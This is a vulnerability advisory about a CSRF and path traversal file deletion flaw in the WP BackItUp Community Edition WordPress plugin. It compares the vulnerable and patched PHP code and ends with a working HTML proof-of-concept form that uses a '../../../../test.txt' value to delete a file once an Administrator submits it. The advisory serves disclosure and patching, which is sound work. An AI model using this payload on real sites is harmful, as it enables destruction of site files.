Vulnerability Details: CSRF/Arbitrary File Deletion Vulnerability in WP BackItUp Community Edition
From time to time a plugin is closed on the Plugin Directory for an unexplained security issue without the discoverer putting out a report on the vulnerability and we will put out a post detailing the possible vulnerability that lead to that so that we can provide our customers with more complete information on the security of plugins they use.
Recently we improved our ability to detect the possibility of vulnerabilities being fixed in WordPress plugins, which is sometimes leading us to becoming aware of vulnerabilities that were fixed some time back, but that are not in our data set already. That was the case with a cross-site request forgery (CSRF)/arbitrary file deletion vulnerability in the plugin WP BackItUp Community Edition that we noticed being fixed due to a change a changelog entry for version 1.15.4 from January for the plugin , which reads “FIX : Fix security issue with delete log”. Looking at the changes made in that version we found that there was a code change made that prevented code meant to delete log files generated by the plugin from being used to delete arbitrary files on the website, which could have been exploited by getting a logged in Administrator to access a page a hacker controls.
In the previous version of the plugin, the function process_bulk_action() would delete files based on user input without limiting the deletion to only files in the intended directory and without protection against cross-site request forgery (CSRF):
184 185 186 187 188 189 190 191 | public function process_bulk_action() { if( 'delete'===$this->current_action() ) { foreach($_POST['download_log'] as $single_val){ $path = WPBACKITUP__LOGS_PATH.'/'.$single_val; unlink($path); |
In version 1.15.4 that has been changed to correct both of those issues:
184 185 186 187 188 189 190 191 192 | public function process_bulk_action() { $nonce = filter_input( INPUT_POST, '_wpnonce', FILTER_SANITIZE_STRING ); $action = 'bulk-' . $this->_args['plural']; if ( false !== wp_verify_nonce( $nonce, $action ) ) { if( 'delete'===$this->current_action() ) { foreach($_POST['download_log'] as $single_val){ $path = WPBACKITUP__LOGS_PATH.'/'.basename(sanitize_file_name($single_val)); unlink($path); |
That function is called by the function prepare_items():
208 209 210 211 212 213 214 215 | function prepare_items() { $per_page = 15; $columns = $this->get_columns(); $hidden = array(); $sortable = $this->get_sortable_columns(); $this->_column_headers = array($columns, $hidden, $sortable); $this->process_bulk_action(); |
That function in turn is called in two locations.
One of those is the function ajax_response(), which doesn’t appear to be called anywhere itself and is stated to have existed “since 3.1.0” despite that being a higher version than the current version. It doesn’t look that was even called in the version it was introduced, so it isn’t clear what is going on with that.
The other place it is called is when the Download Logs tab of the plugin’s admin page Support, /wp-admin/admin.php?page=wp-backitup-support. That page is accessible to those with the Administrator role.
Proof of Concept
The following proof of concept will cause a file named test.txt in the root directory of the WordPress installation to be deleted, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=wp-backitup-support&tab=download-logs&action=delete" method="POST" > <input type="hidden" name="download_log[]" value="../../../../test.txt" /> <input type="submit" value="Submit" /> </form> </body> </html>